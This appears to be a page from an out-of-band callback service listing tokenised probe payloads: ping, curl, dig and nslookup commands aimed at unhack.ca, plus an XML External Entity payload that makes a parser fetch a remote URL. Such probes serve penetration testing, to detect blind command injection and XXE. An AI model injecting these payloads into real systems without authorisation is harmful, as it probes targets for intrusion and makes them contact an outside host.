$ ping -c1 -p 00783eb300e653f97fdfb80227539700 unhack.ca
 

$ curl http://unhack.ca/p/783eb300e653f97fdfb802275397
 

$ dig 783eb300e653f97fdfb802275397 @unhack.ca
 

$ dig 783eb300e653f97fdfb802275397.ns.unhack.ca
 

C:\> nslookup 783eb300e653f97fdfb802275397 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/783eb300e653f97fdfb802275397">]>
    <foo>&xxe;</foo>